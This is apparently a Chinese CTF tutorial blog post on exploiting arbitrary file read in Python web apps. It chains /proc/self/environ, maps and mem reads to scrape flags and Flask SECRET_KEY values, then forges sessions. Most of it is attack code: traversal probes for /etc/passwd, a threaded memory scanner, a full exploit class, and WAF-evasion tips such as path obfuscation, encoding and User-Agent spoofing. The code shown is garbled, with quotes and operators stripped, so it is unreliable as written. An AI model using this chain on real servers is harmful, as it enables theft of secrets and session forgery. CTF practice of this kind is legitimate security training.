CTF实战:如何利用Python进程信息泄露漏洞一键获取flag(附完整脚本)

张开发
2026/4/21 10:22:41 15 分钟阅读

分享文章

CTF实战:如何利用Python进程信息泄露漏洞一键获取flag(附完整脚本)
CTF实战Python进程信息泄露漏洞的深度利用与自动化攻击在网络安全竞赛中Python进程信息泄露漏洞已经成为一类常见且高效的突破口。这类漏洞往往源于开发者对系统文件权限配置不当使得攻击者能够通过特殊路径访问到进程的关键内存信息。本文将深入剖析如何利用/proc/self/maps和/proc/self/mem这两个关键文件构建自动化攻击链从内存中直接提取敏感数据。1. 漏洞原理与基础探测Linux系统的/proc文件系统是一个虚拟文件系统它提供了访问内核数据结构的接口。对于每个运行中的进程系统会在/proc下创建一个以进程ID命名的目录其中包含了该进程的详细信息。而/proc/self则是一个特殊的符号链接指向当前进程的目录。关键文件解析文件路径作用描述/proc/self/cmdline包含启动当前进程的完整命令/proc/self/maps显示进程的内存映射区域包括地址范围、权限和映射文件/proc/self/mem直接访问进程的内存空间需要配合maps文件确定可读区域/proc/self/environ包含进程的环境变量可能泄露敏感配置基础探测步骤通常从验证任意文件读取漏洞开始import requests def check_vulnerability(target_url): test_files [ ../../../../etc/passwd, ../../../../proc/self/cmdline, ../../../../proc/self/environ ] for file in test_files: response requests.get(f{target_url}?file{file}) if response.status_code 200 and response.text: print(f[] 成功读取: {file}) print(response.text[:200]) # 打印前200字符避免输出过长 return True return False2. 内存映射分析与关键信息定位当确认存在任意文件读取漏洞后下一步是获取/proc/self/maps文件内容。这个文件详细列出了进程的内存布局55b8c5b6e000-55b8c5b70000 r-xp 00000000 08:01 797363 /usr/bin/python3.8 55b8c5d6f000-55b8c5d70000 r--p 00001000 08:01 797363 /usr/bin/python3.8 55b8c5d70000-55b8c5d71000 rw-p 00002000 08:01 797363 /usr/bin/python3.8 7f9a3b6c8000-7f9a3b8c8000 rw-p 00000000 00:00 0 [heap] 7f9a3b8c8000-7f9a3b8ca000 r--p 00000000 08:01 797370 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11关键内存区域识别技巧可写内存段查找权限标记为rw的区域这些区域更可能包含动态数据堆区域标记为[heap]的区域通常包含程序运行时分配的对象匿名映射没有关联文件名的区域可能包含敏感数据结构特定库映射如libc、libpython等可能包含有用信息以下是解析maps文件的Python实现def parse_maps(maps_content): memory_regions [] for line in maps_content.split(\n): if not line.strip(): continue parts line.split() address_range parts[0] perms parts[1] offset parts[2] device parts[3] inode parts[4] pathname .join(parts[5:]) if len(parts) 5 else start, end [int(x, 16) for x in address_range.split(-)] memory_regions.append({ start: start, end: end, perms: perms, pathname: pathname }) return memory_regions3. 内存提取与敏感数据挖掘获取内存映射信息后可以针对性地读取/proc/self/mem文件。需要注意的是直接读取整个内存区域效率低下且可能触发防护机制应该采用以下优化策略分块读取将大内存区域分割为小块读取智能过滤只读取可写且有潜在价值的区域模式匹配使用正则表达式快速定位敏感数据高效内存扫描脚本import re from concurrent.futures import ThreadPoolExecutor def scan_memory_region(base_url, start, end, chunk_size4096): found_data [] pattern re.compile(rflag\{[^}]\}|SECRET_KEY|password|api_key.encode()) def read_chunk(chunk_start): chunk_end min(chunk_start chunk_size, end) params { start: hex(chunk_start), end: hex(chunk_end) } try: response requests.get(f{base_url}/proc/self/mem, paramsparams) if response.status_code 200: matches pattern.findall(response.content) if matches: found_data.extend(m.decode(utf-8, errorsignore) for m in matches) except: pass with ThreadPoolExecutor(max_workers10) as executor: executor.map(read_chunk, range(start, end, chunk_size)) return found_data4. 高级利用技巧与自动化攻击链成熟的CTF选手通常会构建完整的自动化攻击流程。以下是一个高级攻击框架的实现class MemoryExploiter: def __init__(self, target_url): self.target_url target_url self.session requests.Session() self.session.headers.update({User-Agent: Mozilla/5.0}) def get_file(self, path): return self.session.get(f{self.target_url}?file../../../../..{path}).text def exploit(self): # 第一步获取基础信息 cmdline self.get_file(/proc/self/cmdline) print(f[*] 进程启动命令: {cmdline.replace(chr(0), )}) # 第二步分析内存映射 maps self.get_file(/proc/self/maps) regions parse_maps(maps) # 第三步重点扫描可写内存区域 interesting_regions [r for r in regions if w in r[perms] and not r[pathname].startswith(/)] # 第四步并行扫描内存 all_findings [] with ThreadPoolExecutor() as executor: futures [] for region in interesting_regions: futures.append(executor.submit( scan_memory_region, self.target_url, region[start], region[end] )) for future in futures: all_findings.extend(future.result()) # 第五步结果分析与过滤 unique_findings list(set(all_findings)) print([] 发现潜在敏感数据:) for item in unique_findings: if flag{ in item: print(f Flag: {item}) else: print(f 其他: {item})防御绕过技巧路径深度模糊尝试不同层级的../组合如....//、..././等URL编码对特殊字符进行编码如将/编码为%2f请求头伪装修改User-Agent等头部信息模拟正常流量速率控制添加随机延迟避免触发WAF规则5. 实战案例从内存中提取Python Flask密钥在CTF比赛中Web题目经常使用Python Flask框架而Flask的会话cookie需要SECRET_KEY进行签名。通过内存扫描可以定位这一关键值def find_flask_secret(memory_dump): # Flask密钥常见模式 patterns [ rSECRET_KEY\s*\s*[\]([^\])[\], rflask\.config\s*{\s*[\]SECRET_KEY[\]:\s*[\]([^\])[\], rsecret_key\s*\s*[\]([^\])[\] ] for pattern in patterns: match re.search(pattern, memory_dump) if match: return match.group(1) return None # 在扫描到的内存数据中搜索 for memory_chunk in all_findings: secret find_flask_secret(memory_chunk) if secret: print(f[] 发现Flask SECRET_KEY: {secret}) break完整攻击流程示例识别网站技术栈通过响应头、错误信息等确认任意文件读取漏洞获取/proc/self/cmdline确定运行命令分析/proc/self/maps定位可读内存区域针对性扫描/proc/self/mem查找flag或密钥利用获取的密钥伪造会话或解密数据

更多文章